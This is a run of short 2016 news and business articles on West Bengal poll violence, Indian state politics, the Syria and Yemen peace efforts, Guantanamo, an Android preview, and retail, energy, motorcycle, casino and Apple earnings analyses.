Stating that it was her government that had ushered in development in the state, Banerjee said a "shilpa tirtha" (industrial hub) is being set up at Belur with Japanese collaboration in which Rs 6,800 crore would be invested and one lakh people would get employment.

Apart from this a textile park is also being set up at Belur in which Rs 3,000 crore is being invested, she said.

"The performance of our government will be a matter of research in the world one day," she said adding Bengal is number one in many fields including small scale industry sector, skill development and 100 days work.
Kolkata: Amid reports of CPM workers being killed and attacked after the third phase of assembly polls in Bengal, the party on Friday wrote to Election Commission requesting it to take tangible action and instill confidence in the people to vote freely and fairly.

CPM general secretary Sitaram Yechury said he wrote the letter to register the party's "strong condemnation" over "continued violence, terror and intimidation" unleashed by the ruling Trinamool Congress party in West Bengal.

He said during the course of the third round of polling, held on 21 April four CPM leaders were murdered.

"I am writing to you because all poll related violence comes under the remit of the Election Commission of India as mandated by our Constitution. So far, no action appears to have been taken against the culprits who have perpetuated such murderous assaults.

"Unless tangible action is taken against such elements, the Election Commission will be failing in implementing its Constitutional mandate of ensuring a free and fair poll," Yechury said in his letter to Chief Election Commissioner.

"I am requesting you (CEC) to please take necessary action immediately and thereby instill confidence among the people to fearlessly exercise their democratic right of franchise," he added.

Two CPI(M) cadres were killed allegedly by Trinamool Congress workers in post poll violence at Lodhna under Khandaghosh assembly constituency in Burdwan district, police said on Friday.
Just as the Uttarakhand High Court ordered revocation of the Presidents rule in the state, Harish Rawat's first task was to get his office opened and assume charge. He was too impatient to let the legal process facilitate his return as chief minister.

Just as the BJP was too impatient to impose President's rule on the pretext of horse-trading, Rawat was too impatient to take control of the state. Obviously, the bureaucracy was in a tizzy as he took decision after decision without bothering about their legal tenability. With the Supreme Court's order that stayed the operability of the High Court's order, Rawat landed himself in a ridiculous situation. Once again he was reduced to the status of being ex-chief minister.

There is no doubt that Rawat's antics in Dehradun would have created hilarious moments for the bureaucracy. But he is not an exception. In fact, a close scrutiny of legal history would suggest that he followed in the footsteps of his one-time close comrade in the Congress and now BJP parliamentarian Jagdambika Pal. On February 21, 1998, the Kalyan Singh government was sacked by Governor Romesh Bhandari on the pretext of losing majority. Pal was appointed as the chief minister by Bhandari in a move that appeared outright subversive of constitutional principles.

An infuriated Atal Bihari Vajpayee, who was then leader of Opposition, declared to go on indefinite fast after his call to the then prime minister IK Gujral went unanswered. BJP MPs marched to Rashtrapati Bhavan to seek the President's indulgence in the matter. All legislators from Lucknow were flown down to Delhi in a Boeing plane made available by a friendly industrialist.

Given Vajpayee's decision to go on indefinite fast, the situation became quite tense. In the midst of this drama, the Allahabad High court revoked the Governors appointment and ordered for the first time in India a composite floor test to determine majority in the house.

Though Vajpayee gave up his fast following the courts order, the situation in Lucknow became piquant. At the fifth floor of Lucknow secretariats annex, there sat two chief ministers - Kalyan Singh in one room and Pal in another. It was a hilarious situation for bureaucrats and attendants working on that floor. At one point, principal Home secretary RR Shah tried to convince an adamant Pal about the courts order and his untenable position. Yet Pal refused to relent. He left the chief ministers office only late in the night not without kicking and screaming like a child denied his toffee.

The next day when the composite floor test was held, Pal lost out to Kalyan Singh by a huge margin and faced the ignominy of being obliterated from the record as a person who ever held the charge UP chief minister. In his subsequent political journey, Pal, an erstwhile Congressman, joined the BJPs bandwagon. He represents Domariyaganj constituency.

In Uttrakhand, Rawat emulated his former comrade-in-arm, Jagdambika Pal, and handled a favourable high court verdict quite ineptly. He has not only messed up with his mandate but also lost a unique opportunity to project himself as sagacious and matured leader. If he finds himself in a ridiculous situation today, he has nobody else to blame but himself and his role model.
Burdwan: Two CPI(M) cadres were killed allegedly by Trinamool Congress workers in post-poll violence at Lodhna in Khandaghosh Assembly constituency in West Bengal's Burdwan district, police said on Friday.

S K Fazal Haque (56), a polling agent of CPI(M), and Bookhiram Dal (56) were beaten up with lathis and iron rods by armed men when they were returning home at about 8 PM on Thursday night, Superintendent of Police Gaurab Sharma said.

Both the injured men were taken to the Burdwan Medical College and Hospital where they died a few hours later, he said.

CPI(M) Zonal Committee Secretary Deshbandhu Hazra alleged that both the party cadres had been attacked by Trinamool Congress workers.

TMC Block President Alok Majhi, who is also a party candidate for Galsi Assembly seat in the district, denied the charge.

The constituency belongs to rural Burdwan area which went to poll on Thursday.
Beirut: The UN special envoy for Syria said there was "real but modest" progress in the country's humanitarian situation despite a stumbling ceasefire, as one of the largest international aid convoys made it into a government-besieged opposition stronghold.

NATO said an increasingly fragile ceasefire remains the best hope for ending Syria's five-year war, and the main Syrian opposition group said it would keep "experts" in Geneva next week to discuss issues like humanitarian aid even though it has pulled back from indirect peace talks with President Bashar Assad's government.

Staffan de Mistura, the UN envoy, said he would address the "next steps" in the UN-brokered peace talks on Friday after the Western-backed opposition walked out, accusing President Bashar Assad's government of trying to wreck the negotiations with new fighting.

De Mistura called for improved aid access to besieged areas, which he said would boost chances for salvaging the teetering ceasefire.

"Bottom line: If humanitarian aid increases as they should be and the cessation of hostilities goes back into what we would consider a hopeful mood that would certainly help the political discussions," he told reporters in Geneva on Thursday, the locale of on-and-off intra-Syrian peace talks under UN mediation in recent months.

The opposition's High Negotiations Committee, an umbrella group of Assad opponents, said it will keep "technical experts" in Geneva next week to focus on the truce, humanitarian aid, and a new, accelerated push it has sought from the UN to win the release of thousands of detainees held by the Syrian government.

The US-Russia-engineered ceasefire between Assad's government and rebel fighters, which went into effect in late February, has excluded the Islamic State group and Al-Qaeda's branch in Syria  designated as terrorist organizations by the United Nations. The truce has sharply reduced violence in Syria but has all but collapsed in the country's north.

Russian Foreign Ministry spokeswoman Maria Zakharova warned that the suspended participation of the Syrian opposition in the Geneva talks could lead to "a return of total armed conflict."

"We have a situation where terrorists are desperately trying to disrupt the political process," referring to the Syrian opposition's High Negotiations Committee, which said Monday it was halting its involvement in talks, she said. Zakharova told reporters in Moscow that the armed standoff in Syria is growing, especially to the north and south of Aleppo.

While the Russian official blamed Turkey for continuing to destabilize Syria by colluding with extremist groups, US deputy national security adviser Ben Rhodes expressed Washington's concern about a reported Russian buildup in Syria. He addressed reports that Russia was moving military personnel and equipment back into Syria  weeks after Moscow said that it would scale back its presence.

A Russian air campaign aiding the Syrian government launched in September has significantly reversed the tide of the war in recent months, enabling government advances.

"It would be negative for Russia to move additional military equipment or personnel in to Syria," Rhodes told reporters Thursday in Riyadh, Saudi Arabia, where President Barack Obama and Gulf leaders were meeting to discuss Syria and other regional conflicts. "We believe that our efforts are best focused on supporting the diplomatic process."

Nato Secretary-General Jens Stoltenberg echoed that stance, saying that Russia has maintained a "considerable military presence" in support of the Syrian government despite announcing a partial withdrawal.

Speaking in the Turkish capital, Ankara, Stoltenberg said the ceasefire was "under strain" but remains the "best basis for a negotiated, peaceful solution to the crisis."

Despite the dire straits in the political talks, De Mistura said there has been modest progress in the humanitarian situation in Syria  where aid convoys have reached 560,000 people in hard-to-reach and besieged areas. He also said six areas remain off limits to the aid convoys.

De Mistura told reporters that 515 people were medically evacuated Wednesday from four communities, Zabadani, Madaya, Kfarya and Foua, besieged by government and rebel groups. He said it was one of the largest evacuations of residents from besieged areas.

The Syrian Arab Red Crescent Society said its convoy came under fire during the evacuation from Madaya and Zabadani, besieged by the government forces in rural Damascus. In a statement, SARC said one of its vehicles, clearly marked, was hit but that the team carried on with its mission. A photograph posted on SARC's website shows the rear window of the vehicle damaged from what appears to be a bullet that hit right next to the large white and red SARC logo.

De Mistura also said there were eight airdrops of aid in Deir el-Zour, a stronghold of the Islamic State which is locked in a fight over control of the province with the government. A vaccination program is expected to begin later this month to reach more than 2 million children, he said.

Still, De Mistura said some medical supplies and medicines are still denied by the Syrian health ministry into besieged areas. "This is not only worrisome but unacceptable according to international law." Dialysis equipment has been allowed in, he said.

The International Committee of the Red Cross said that together with the UN, it is delivering its largest humanitarian aid convoy, destined for Rastan, an opposition-held town under siege in the central Homs.

ICRC spokesman Pawel Krzysiek said Thursday's aid convoy is the first to reach the town of Rastan in over a year. Krzysiek said about 120,000 people live in the area. Rastan has seen its population double because of the influx of people fleeing nearby fighting.

The convoy was made up of 65 trucks containing food, medicine and medical equipment, electricity generators and water treatment materials.
GUANTANAMO BAY U.S. NAVAL BASE, Cuba Observed from behind a one-way mirror and heavy chain-link fence, a handful of bearded detainees in baggy t-shirts mill around inside a communal cellblock at the Guantanamo Bay military prison, vastly outnumbered by U.S. troops guarding them.

This is the shrinking world of Americas notorious offshore prison, a scene that underscores how U.S. President Barack Obama is running out of time  and options  to meet his pledge to close the compound before he leaves office in January.

Obama has whittled down the number of prisoners to 80, the lowest since shortly after his predecessor George W. Bush opened the facility to hold terrorism suspects rounded up overseas following the Sept. 11, 2001, attacks.

But the president faces political and legal obstacles that may prove insurmountable in his final push to empty the detention centre at the U.S. naval station in Cuba, according to some U.S. officials in Washington.

(Graphic: tmsnrt.rs/1NmI52e)

Still, there were growing signs during a carefully scripted media tour this week that operations are beginning to wind down at the prison, where many cells now stand empty.

As inmate numbers dwindle - the latest departures being nine Yemenis sent to Saudi Arabia last weekend - participation also has ebbed in what was once a widespread hunger strike.

Fewer than five inmates are being force-fed, the chief medical officer told reporters as he displayed a restraint chair of the type where prisoners are strapped down and nasal tubes inserted twice daily.

But the 1,100-strong force of military personnel assigned to secure Guantanamo's far-flung lockups, ranging from communal compounds for well-behaved prisoners to solitary confinement for those considered most dangerous, has remained largely unchanged. That works out to about 14 guards for each current inmate.

Work inside the razor wire is labor-intensive. Squads of guards in protective visors swarmed through an eerily darkened corridor one lunch time, preparing to deliver meals in Camp Six, home to the most cooperative prisoners.

Unaware of being watched and recorded through the sound-proof glass, detainees went about their routines. One waved over a guard and complained about not having enough pens for his artwork, while another sat at a steel table doing paperwork.

In Washington, Republican lawmakers are readying for a legal battle if Obama tries to move prisoners to U.S. soil.

Obama's plan to close Guantanamo, announced two months ago, hinges on bringing possibly dozens of remaining prisoners deemed too dangerous to release to maximum-security prisons in the United States. But that would defy a congressional ban on such transfers.

FEWER DETAINEE DISCIPLINE PROBLEMS

Administration officials have not ruled out that Obama might seek to bypass Congress and resort to executive action to close the prison but say privately he probably won't make a decision until after the November presidential election. Republican frontrunner Donald Trump and his party rivals vow to keep the jail open if they win the White House.

At its peak, Guantanamo housed nearly 800 prisoners, becoming a symbol of the excesses of the "war on terror and synonymous with accusations of torture. Obama, whose promise to shutter the prison dates back to the 2008 campaign, has called it a recruitment tool for terrorists.

Nowadays, camp officials credit improved compliance by prisoners to a sense that release is getting closer. Most have been held for more than a decade without charge or trial.

Only two detainees are listed for misconduct, which can entail anything from physically assaulting guards to splashing them with bodily fluids, said Army Colonel David Heath, commander of the Guantanamo guard force.

Hunger strikers, who numbered more than a hundred at the peak of their protest in 2013, are now just a handful and there is no longer any need for extraction teams to pull them from their cells for enteral feeding sessions, according to Navy Captain Rich Quattrone, head of the camps medical facilities.

He insisted the process is safe and humane.

But Omar Farah, attorney for Tariq Ba Odah, a Yemeni hunger striker who lost half his body weight and was among the group sent to Saudi Arabia, said force-feeding was utterly humiliating.

Guantanamo officials remain mindful of other potential sources of trouble, especially given Islamic religious sensitivities.

For instance, when a reporter entered a model cell meant to display living conditions and began inspecting a bookshelf, camp officials rushed over and told her not to touch a copy of the Koran. Her cameraman was ordered to delete the scene.

At the detainee library, where Harry Potter books are the most popular items, officials screen out anything deemed to promote jihadist themes or containing graphic violence or nudity.

Inmates sometimes go a step further. A woman's photo on the cover of an Arabic-language National Geographic was scribbled over by a detainee apparently offended by her uncovered face.

(Reporting by Matt Spetalnick; Editing by Don Durfee and James Dalgleish)

This story has not been edited by Firstpost staff and is generated by auto-feed.
Kuwait City: Delayed peace talks aimed at ending 13 months of conflict in Yemen were set to resume Friday, a day after last-gasp UN mediation efforts finally managed to get warring sides to the same table.

The United Nations hopes negotiations  which were originally due to begin on Monday  will put a stop to fighting across Yemen that has killed more than 6,800 people and displaced 2.8 million since March 2015.

UN special envoy Ismail Ould Cheikh Ahmed appealed to both government and rebel delegations in Kuwait to seize the chance, saying Yemen was "closer to peace than any time before".

The rebel delegation from the Shiite Huthi militia and allied representatives of ex-president Ali Abdullah Saleh arrived in the Gulf state late Thursday after receiving assurances from the UN that a ceasefire  in place since April 11  would be respected.

Delegates representing the government of President Abedrabbo Mansour Hadi had threatened to pull out of talks altogether if the rebels weren't around the table by Thursday evening.

The first session ended after less than two hours and the next round will begin Friday afternoon, a delegate told AFP.

Foreign Minister Sheikh Sabah al-Khaled Al-Sabah of host country Kuwait opened Thursday's meeting by hailing the talks as "a historic opportunity" to end the bloodshed.

"War will only lead to more devastation, losses and displacement of people," he said.

Yemen has been riven by fighting since a Saudi-led coalition launched operations last year against Iran-backed Huthi rebels, who had seized the capital and expanded their presence across central and southern areas.

The violence has allowed jihadists including Al-Qaeda and the Islamic State group to make headway, overrunning parts of south Yemen and establishing a toehold around second city Aden  the government's temporary base.

Yemen's war has also sent tensions between Shiite Iran and Sunni Gulf states soaring as, like in Syria, they back opposing sides.

Previous UN-sponsored peace efforts failed to make any headway, and the last ceasefire in December was repeatedly violated and eventually abandoned by the Arab coalition on 2 January.

But the UN envoy said the latest truce and negotiations offered a unique chance to end the violence.

"Today, you have one of two options; a secure nation that guarantees an honourable life or the ruins of a nation," he told delegates.

The rebel delegation met Ould Cheikh Ahmed after the opening session, their news agency reported late Thursday, and stressed the "need to secure the ceasefire."

The delegation said the "key to reaching a solution is agreeing on a transitional authority," Sabanews.net reported.

Diplomats say rebels are demanding an end of coalition operations and a naval blockade on Yemen.

They also want UN sanctions against some of their leaders, including Saleh, to be lifted.

Clashes overnight

UN Security Council Resolution 2216, which is seen as a basis for any peace plan, states that the rebels must withdraw from seized territories and disarm before talks can progress.

But diplomatic sources have said that the rebels are demanding a change to the UN initiative, preferring to first agree on a political leadership for Yemen before making military concessions on the ground.

At the opening session Thursday, Ould Cheikh Ahmed said the UN process "will not necessarily follow a particular sequence."

"Instead, discussions will happen in parallel through working committees that will look into implementation mechanisms of each element, for the sake of reaching one comprehensive agreement that paves the way for a peaceful and orderly transition," he said.

The Huthis, who had long complained of marginalisation, swept from their northern mountain stronghold to take Sanaa unopposed in September 2014, before advanced south, forcing Hadi's government to flee.

While loyalists have since July managed to reclaim large areas, they have been unable to dislodge the rebels from the capital and other key areas -- even with the help of the Saudi-led coalition.

And even though a ceasefire launched earlier this month has dramatically reduced violence, fighting is flaring on several fronts, as each side blames the other for truce breaches.

Clashes raged overnight Thursday on the outskirts of the southwestern Taez city and in the northern Jawf province, military sources said.
Android N Developer Preview is now available for Sony Xperia Z3. Google has started rolling out the Developer Preview for non- Nexus devices.

The Xperia Z3 is Sonys flagship from 2014 while the Xperia Z5 from last year is not included in the developer preview. The Android N Developer Preview was seeded to Nexus 6, Nexus 5X, Nexus 6P, Nexus 9, Nexus Player, and Pixel C in early March. The Preview even saw its first firmware update in mid-March.

Unlike, the Nexus devices, users will not be able to enroll in the N preview online and then get the update over the air. They will have to install Sonys Xperia Companion app on a Windows or Mac computer and then click to download the Developer Preview and manually flash the device following which future updates will arrive over the air direct from Sony.

Sony Xperia Z3 owners will get a number of features like multi-window, bundled notifications, direct reply notifications. Google released Android N developer preview images last month.

source
After growing sales by more than 50% between 2010 and 2015, upscale retailer Nordstrom (JWN 3.61%) saw a sharp slowdown in sales gains starting last summer. Meanwhile, rising costs from various growth initiatives have driven its operating margin down to levels not seen since the Great Recession.

To address these issues, Nordstrom is turning to cost cuts. In doing so, it's following the lead of department store peers like Macy's (M 4.74%) that are facing even bigger sales slumps. Still, Nordstrom isn't in as much trouble as many investors and pundits seem to think.

Slower sales growth -- but growth nonetheless

During the first half of fiscal 2015, Nordstrom posted revenue growth of 9.5%. Rapid expansion of the Nordstrom Rack off-price chain, strong e-commerce growth, and the opening of Nordstrom's first two stores in Canada all contributed to this great result.

Sales growth decelerated sharply in the second half of the year, with comp sales turning negative for physical stores. Yet even in Q4 -- when Nordstrom turned in its worst sales performance of the year -- total sales rose 5.2%, driven by higher online sales and new stores.

That stands in sharp contrast to the situation at Macy's. Sales fell in every single quarter of fiscal 2015 at Macy's, with the pace of revenue declines accelerating as the year progressed. For the full year, sales dropped 3.7%. Macy's expects the sales declines to continue in fiscal 2016, but hopes to return to modest sales growth by the following year.

Given this gloomy forecast, it's not surprising that Macy's has needed to take a hatchet to its cost structure. The company plans to close dozens of stores and cut thousands of jobs this year in a bid to reduce costs by $400 million annually.

Reining in costs

Nordstrom's problems are comparatively mild. Sales aren't declining, but the company is seeing a growing customer preference for shopping online. Additionally, the rapid expansion of its Nordstrom Rack chain may be diluting comp sales growth for that segment.

Accordingly, Nordstrom told investors in February that it would make some targeted cost cuts this year. It aims to reduce overhead expenses while continuing to invest in its key priorities. In March, the company laid off about 7% of its tech staff, roughly 120 workers. Earlier this week, it announced plans to eliminate another 350-400 positions in its corporate headquarters and regional offices.

Nordstrom is also pivoting to a greater focus on profitability over pure growth in its e-commerce business. This could include removing some items that weren't profitable to sell online due to shipping costs.

Still expecting steady growth

Despite cutting several hundred positions and moderating its investments in some areas, Nordstrom still expects to post steady sales growth going forward. It hopes to reach $20 billion in annual sales by 2020, which would be up 42% relative to 2015.

Getting there doesn't count on achieving a big turnaround in comparable-store sales. Nordstrom expects sales at its existing full-line stores to be roughly flat or even down slightly.

But the Nordstrom Rack chain will continue to grow, reaching about 300 stores by 2020, up from 194 at the end of 2015. Nordstrom's move into Canada will deliver hundreds of millions of dollars of incremental sales. A new flagship store in Manhattan scheduled to open in 2019 could produce $300 million-$400 million in annual revenue. And the Trunk Club concierge shopping service has posted explosive growth.

Most importantly, Nordstrom expects online sales to continue surging. Nordstrom quadrupled its online sales from $705 million to more than $2.8 billion between fiscal 2010 and fiscal 2015. It will probably add billions of dollars to that total in the next five years. To support this growth, it opened a new fulfillment center in Pennsylvania last year and it is finalizing plans for another in California.

Thus, pundits who have portrayed Nordstrom's job cuts as a sign of doom are blowing things out of proportion. Expenses have risen faster than sales at Nordstrom in recent years as the company has invested heavily in growth initiatives. All Nordstrom is doing now is acting to reduce future cost creep so that sales gains over the next five years can drive strong profit growth.
According to Bloomberg, Chevron (NYSE: CVX) is considering selling its Asian geothermal assets for as much as $3 billion. Malakoff Corp., Ormat Technologies (NYSE: ORA), and the sovereign fund China Investment Corp. could be among the buyers of Chevron's geothermal assets. Given the sale's billion-dollar price tag, let's analyze how the potential sale affects Chevron's finances and the company's future renewable energy strategy.

Chevron's history with geothermal

Geothermal energy is clean energy that produces almost no greenhouse gases. Producing geothermal energy is in some ways similar to drilling for oil and gas. Natural groundwater enters into the earth near a dormant volcano, and the water is heated near depths of up to 9,800 feet. Wells of several thousand feet are drilled to recover the heated water and steam, and the steam is used to produce power while the water is returned to the reservoir.

Chevron began geothermal operations in the 1960s by pioneering the development of geothermal plants in the Geysers, Calif. The company developed several geothermal projects in the Philippines in the 1970s and developed the Salak and Darajat fields in Indonesia in the 1990s.

Today, Chevron's geothermal operations in Indonesia have a combined operating capacity of 647 megawatts. Chevron also owns a 40% interest in the Philippine Geothermal Production Company, which operates geothermal facilities in the Laguna and Batangas provinces. Those fields have a combined generating capacity of another 692 megawatts. Chevron's Indonesian and Philippine operations are the main reason the company is the second largest geothermal owner and operator in the world. It's also those Indonesian and Philippine operations that are up for sale.

The effect of the divestment for Chevron

Although Chevron doesn't break down the revenue it gets from geothermal in its quarterly or annual reports, other geothermal companies have released their financial reports, and the extrapolated revenue isn't meaningful compared with that of Chevron's oil and gas or downstream operations.

Geothermal producer Ormat Technologies, for example, realized $376 million in revenue in 2015 from its electricity segment, which owned and operated 697 MW of geothermal plants. Ormat's electricity segment had an adjusted EBITDA margin of 60% for the year. Given that Chevron's share of its Philippine operations and Indonesian operations add up to 923.8 MW and assuming similar adjusted EBITDA margins and revenue per watt, Chevron's adjusted Asian geothermal revenue would be around $500 million a year and the segment's adjusted EBITDA would be around $300 million a year. That compares with Chevron's 2015 revenue of $129 billion and EBITDA of $19.6 billion.

The divestment would help bridge Chevron's cash flow gap, however. Because of weak crude prices and needed investment to finish its Gorgon and Wheatstone projects, analysts expect Chevron to have negative-$15 billion in free cash flow this year. Chevron will also have to pay approximately $8 billion more in dividends. Selling its non-core geothermal assets for potentially $3 billion would help Chevron preserve its balance sheet and plug its cash flow gap.

Pragmatic approach to renewable energy

Chevron's potential sale of its Asian geothermal operations illustrates the company's pragmatic approach to renewable energy.

Chevron realizes that having a renewable energy strategy is necessary. Demand growth for crude is expected to wane in the coming decade as clean transportation alternatives such as electric cars powered by renewable energy sources become more economically competitive. The company has invested into solar, wind, and biofuel technology as a result. Chevron has also in some ways moved beyond crude by producing more natural gas and LNG as a percentage of total production.

At the moment, however, Chevron is in a tough situation in terms of free cash flow given the low crude prices and the needed investment finish the Gorgon and Wheatstone projects before they become productive. Given that Chevron's geothermal operations haven't grown much since the 1990s, and the company could fetch a potential valuation of 10 times adjusted EBITDA (which is roughly in line with Ormat Technologies' valuation) for the assets, management concluded that there wasn't much more upside to the geothermal assets in Asia, and the capital garnered could be better used elsewhere.

Although it put the bulk of its geothermal assets for sale, Chevron could still play a leading role in the geothermal energy sector. By being one of the leading operators in geothermal for so long, Chevron has the skills to build more plants in the future in other locations. Analysts estimate that the potential for geothermal energy is over 10 times the current global installed capacity of 13 GW, meaning that geothermal has substantial growth prospects.
Indian Motorcycle is growing at a faster rate than its motorcycle rivals, a welcome sign for Polaris (NYSE:PII) as it seeks growth in the U.S. and beyond.

Polaris is competing for a bigger piece of a market long dominated by Harley-Davidson (NYSE:HOG), which controlled about 51% of U.S. motorcycle sales in the first quarter. Globally, Harley-Davidsons quarterly motorcycle revenue increased 5% to $1.3 billion, far exceeding Polaris sales total of $188 million including parts and accessories.

Still, Polaris says its motorcycle business is gaining speed.

First-quarter motorcycle sales climbed 18% year-over-year, thanks mostly to the success of Indians bikes. In North America, Indian retail sales surged more than 50%, and its market share increased as well. Polaris noted that consumer retail demand across its portfolio of Indian, Victory and Slingshot logged a percentage gain in the low-teens, while the industry as a whole was roughly flat to start 2016.

During a conference call with analysts, CEO Scott Wine contrasted Polaris sales with those of another motorcycle player. Harley-Davidson reported earnings earlier in the week, saying its U.S. sales edged 0.5% lower.

Its not really as much an industry thing as it is a brand, a dealership and a bike thing, I believe, Wine said when asked about industry projections for sales to plateau in 2016. Were not expecting a dramatic increase in the market. We expect to slog it out.

Wine added that a flurry of advertising within the industry could create a tailwind for Polaris brands, while new Indian and Victory products should generate more interest from riders. For the full year, Polaris sees motorcycle sales increasing in the high teens on a percentage basis.

The motorcycle industry will be flat this year, so were basically in a share battle, Steve Menneto, president of motorcycles at Polaris Industries, told FOXBusiness.com. We have to make sure Indian is clear on its brand statement and brand promise. When were David fighting Goliath, we have to focus on what were committed to.

Indian has grown at a brisk pace, introducing nine new models since its relaunch in August 2013. Indians latest salvo against Harley-Davidson is the Springfield, a new touring bike that features removable hard saddlebags. It was designed for customers interested in both traditional design and modern versatility, Menneto said.

Another new bike, the 2016 Indian Scout Sixty, is the most affordable Indian motorcycle with a starting price of $8,999. The Scout lineup is an important part of Indians strategy outside North America, where smaller bikes are more popular.

Across its portfolio, Indians pitch to customers is value. Japanese competitors have taken up discounting amid a strong U.S. dollar, but American brands have avoided entering a price war. Instead, Indian aims to give buyers more for their money.

Price value, thats what we have to stick to. I cant control what the other guys do. We come out with great bikes. If you look at the Scout Sixty and the quality of the bike, 78 horsepower and the detail of the fit-and-finish, we want to offer our customers the best value for the price, Menneto said.

The company is bringing that message directly to riders. Indian is investing in local events and working with dealers to connect with motorcycle shoppers. Indian believes it can turn shoppers into owners, as long as they just try the bikes.

The more butts we can get on seats, the more customers we gain, Menneto said. We are so confident in the quality and experience of our bikes that weve got to get folks to ride them.
Sands Cotai Central. Image source: Las Vegas Sands.

Success or failure is often in the eye of the beholder, and in the case of Las Vegas Sands that sentiment holds very true today. On Wednesday after the market closed, the company reported first-quarter revenue of $2.72 billion and earnings of $320.2 million, or $0.40 per share. Hold-adjusted EBITDA, which is a proxy for cash flow from resorts, was a whopping $1.03 billion in just one quarter. But for the market, that wasn't enough.

Analysts had been expecting revenue of $2.88 billion and earnings of $0.63 per share on an adjusted basis (compared to the $0.45 reported), so the stock was down sharply in trading Thursday morning. But are things really as bad as they appear?

What you need to know about Las Vegas Sands in Macau Before getting into the detailed numbers, it's important to point out that Macau's overall gaming revenue declined 13.3% in the first quarter. That's the bar against which every company's results should be measured.

You can see below that three out of Las Vegas Sands' four resorts in Macau actually performed well in the quarter, compared to the Macau market as a whole, with only Sands Macau underperforming it. As the only property the company has on the Macau Peninsula, where Wynn Resorts has already said it will have weak numbers, even that's not a surprise.

Q1 2016 Revenue Q1 2016 EBITDA The Venetian Macau $749.0 million (4.9%) $267.8 million (0.8%) Sands Cotai Central $530.3 million (7.3%) $163.5 million 4.9% Sands Macau $175.1 million (22.3%) $31.0 million (46%) Four Seasons Macau $148.3 million (8.1%) $48.2 million 8.3%

Source: Las Vegas Sands earnings report.

Good luck helped improve results for some of the resorts, particularly Sands Cotai Central, but Las Vegas Sands is still gaining share in Macau even after adjusting for luck.

Marina Bay Sands. Image source: Las Vegas Sands.

Singapore is a different story At Marina Bay Sands in Singapore, which is actually Las Vegas Sands' most profitable resort, results were a little weaker. Revenue fell 23.1% to $603.1 million and adjusted EBITDA fell 33.8% to $274.9 million (still a huge number for one resort). But that doesn't tell the whole story.

Casino revenue, which accounts for a vast majority of the resort's revenue, fell 28.3% in the quarter. But VIP gaming volume only fell 4.5% and mass-market volume only fell 9.2%. What led to the weak results was a very low hold percentage in VIP, meaning bad luck for the casino. Without that bad luck, revenue and EBITDA still would have fallen, but not by much.

Las Vegas continues to steadily grow In Las Vegas, revenue rose 2.3% to $384.9 million and EBITDA jumped 17.3% to $86.9 million. This is consistent with competitors like Wynn Resorts, which said it expects a small amount of growth in revenue at the midpoint of its first quarter preliminary results.

Las Vegas isn't going to be a huge growth market for Las Vegas Sands, but slow and steady will win the race.

What determines long-term success When you look at Las Vegas Sands' numbers in the context of the Macau market, they look a lot better than when you compare them to Wall Street analysts' guesses about what the numbers would be. And it's far more important to gain share in Macau long-term than to meet Wall Street's expectations.

What investors really need to watch over the next few quarters is the impact of new competition. Wynn Palace will open near the end of the second quarter and MGM Cotai will open sometime next year, competing with the resorts I listed above, and the soon-to-open Parisian for Las Vegas Sands. It's possible that LVS's market share might start to slip in a big way as new resorts enter the Cotai market that the company currently dominates.

Until that competition comes, I see a lot more positives in Las Vegas Sands' fundamentals than warning signs. And with the stock down in early trading, this could be a great buying opportunity for investors with a long time horizon.

The article Was Las Vegas Sands' First Quarter as Bad as Advertised? originally appeared on Fool.com.

Travis Hoium owns shares of Wynn Resorts, Limited. The Motley Fool owns shares of Wynn Resorts, Limited. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

Copyright 1995 - 2016 The Motley Fool, LLC. All rights reserved. The Motley Fool has a disclosure policy.
Source: Apple

Apple's earnings report on Monday figures to be a historic one, though for all the wrong reasons.

Amid a slowing market for smartphones and tablets, the world's largest publicly traded company is expected to report its first year-over-year revenue contraction in more than a decade. Worse yet, a number of recent data points from within Apple's supplier ecosystem have indicated that the weakening demand for its wares may be more severe than was previously thought.

Suppliers troubleLast week, Apple supplier Taiwan Semiconductor forecast second-quarter sales well below analysts' expectations. The culprit? Falling sales in the smartphone and personal computer markets, which will crimp demand for the chips the firm produces. All told, Taiwan Semiconductor believes its sales in the current quarter will be between $6.6 billion and $6.7 billion, roughly 5% below the $7.0 billion analysts had previously forecast.

For those unfamiliar with Taiwan Semiconductor, it's the world's largest third-party semiconductor manufacturer. Along with smartphone rival Samsung, it partners with Apple to help produce the A-series chips that power its various mobile devices. (Intel chips power Apple's Mac lineup.)

Though Taiwan Semiconductor doesn't publicly disclose precisely how much it sells to whom, analysts estimate Apple accounts for roughly 16% of its revenue, so the soft sales forecast predictably led to speculation that the cause was slowing demand for iPhones, which could mean more trouble in Apple's current quarter.

And Taiwan Semiconductor isn't the only Apple supplier about which reports of softening demand have been made recently.

Late last week, Japanese news outlet Nikkei Asian Review published an article claiming that weakening demand for the current iPhone lineup has led Apple to slash orders from a host of its suppliers. Specifically, the article asserted that Apple decreased its component orders from Japan Display, Sharp, Toshiba, and Sony by as much as 30% in its fiscal second quarter, for which Apple will report earnings on Monday. Worse yet, Nikkei Asian Review also claims that demand for Apple's smartphones has remained depressed into its current quarter. So just how concerning should Apple investors find this news?

The bigger picture Reading these reports, it's hard not to find the situation at least somewhat alarming. The iPhone accounted for 66% of Apple's fiscal 2015 revenue, and likely a higher percentage of the Mac maker's profits. Given that, Apple's guidanceon Monday could well disappoint the market, a result that can weigh heavily on any stock. However, it's also important to remember that the weakening demand could also prove to be a symptom of iPhone demand shifting from one quarter to another, rather than disappearing altogether.

Apple will all but assuredly refresh the iPhone's form factor with the iPhone 7, which is expected to be released this fall. At this point, the iPhone product cycle has become so well-established that consumers shopping for new smartphones could rationally wait to upgrade their handsets until the new design reaches the market. Unfortunately, it isn't clear that customers postponing their purchases until the iPhone 7's release are the driving force behind the decline in iPhone sales.

For example, rival devices like Samsung's Galaxy S7 and S7 Edge are apparently being generally well-received by the market. What's more, evidence of a broader slowing of growth among premium handsets could point to a maturing market or longer upgrade cycles becoming increasingly common in the market in general. It isn't clear how robust any of these trends are or to what degree they could impact Apple specifically. Either way, they certainly deserve consideration ahead of Apple's upcoming earnings release after the market closes Monday.

The article 2 Causes for Concern Ahead of Apple's Earnings Report originally appeared on Fool.com.

Andrew Tonner owns shares of Apple. The Motley Fool owns shares of and recommends Apple. The Motley Fool recommends Intel. Try any of our Foolish newsletter services free for 30 days. We Fools may not all hold the same opinions, but we all believe that considering a diverse range of insights makes us better investors. The Motley Fool has a disclosure policy.

